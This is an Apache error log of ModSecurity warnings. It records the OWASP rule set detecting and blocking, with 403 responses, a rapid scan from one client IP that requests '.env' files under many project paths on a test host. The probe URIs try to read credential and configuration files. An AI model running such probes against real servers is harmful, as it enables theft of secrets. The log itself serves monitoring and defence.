[Wed Feb 25 06:05:37.793847 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/openapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHgAAAAc&quot;]
[Wed Feb 25 06:05:37.794143 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHgAAAAc&quot;]
[Wed Feb 25 06:05:37.794323 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHgAAAAc&quot;]
[Wed Feb 25 06:05:37.806637 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/node-manager/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjwAAAAU&quot;]
[Wed Feb 25 06:05:37.806886 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjwAAAAU&quot;]
[Wed Feb 25 06:05:37.807030 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjwAAAAU&quot;]
[Wed Feb 25 06:05:37.857511 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-method-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHwAAAAc&quot;]
[Wed Feb 25 06:05:37.857787 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHwAAAAc&quot;]
[Wed Feb 25 06:05:37.857987 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHwAAAAc&quot;]
[Wed Feb 25 06:05:37.900801 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIAAAAAc&quot;]
[Wed Feb 25 06:05:37.901075 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIAAAAAc&quot;]
[Wed Feb 25 06:05:37.901260 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIAAAAAc&quot;]
[Wed Feb 25 06:05:37.926378 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/edv-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIQAAAAc&quot;]
[Wed Feb 25 06:05:37.926630 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIQAAAAc&quot;]
[Wed Feb 25 06:05:37.926787 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIQAAAAc&quot;]
[Wed Feb 25 06:05:37.929310 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /st-js-be-2020-movies-two/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDkAAAAAU&quot;]
[Wed Feb 25 06:05:37.929534 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDkAAAAAU&quot;]
[Wed Feb 25 06:05:37.929674 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDkAAAAAU&quot;]
[Wed Feb 25 06:05:37.992107 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/openapi-demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIgAAAAc&quot;]
[Wed Feb 25 06:05:37.992363 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIgAAAAc&quot;]
[Wed Feb 25 06:05:37.992532 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZIgAAAAc&quot;]
[Wed Feb 25 06:05:38.021521 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/sidetree-mock/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZIwAAAAc&quot;]
[Wed Feb 25 06:05:38.021793 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZIwAAAAc&quot;]
[Wed Feb 25 06:05:38.021967 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/sidetree-mock/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZIwAAAAc&quot;]
[Wed Feb 25 06:05:38.054775 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/universalresolver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJAAAAAc&quot;]
[Wed Feb 25 06:05:38.055033 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJAAAAAc&quot;]
[Wed Feb 25 06:05:38.055198 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/universalresolver/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJAAAAAc&quot;]
[Wed Feb 25 06:05:38.088934 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/vc-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJQAAAAc&quot;]
[Wed Feb 25 06:05:38.089178 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJQAAAAc&quot;]
[Wed Feb 25 06:05:38.089329 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/vc-rest/.env&quot;] [unique_id &quot;aZ6DIov6AM5Bs3q_JQDZJQAAAAc&quot;]
[Wed Feb 25 06:05:38.110286 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stackato-pkg/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkgAAAAU&quot;]
[Wed Feb 25 06:05:38.110556 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ6DIuTWwZsZM3_RktVDkgAAAAU&quot;]
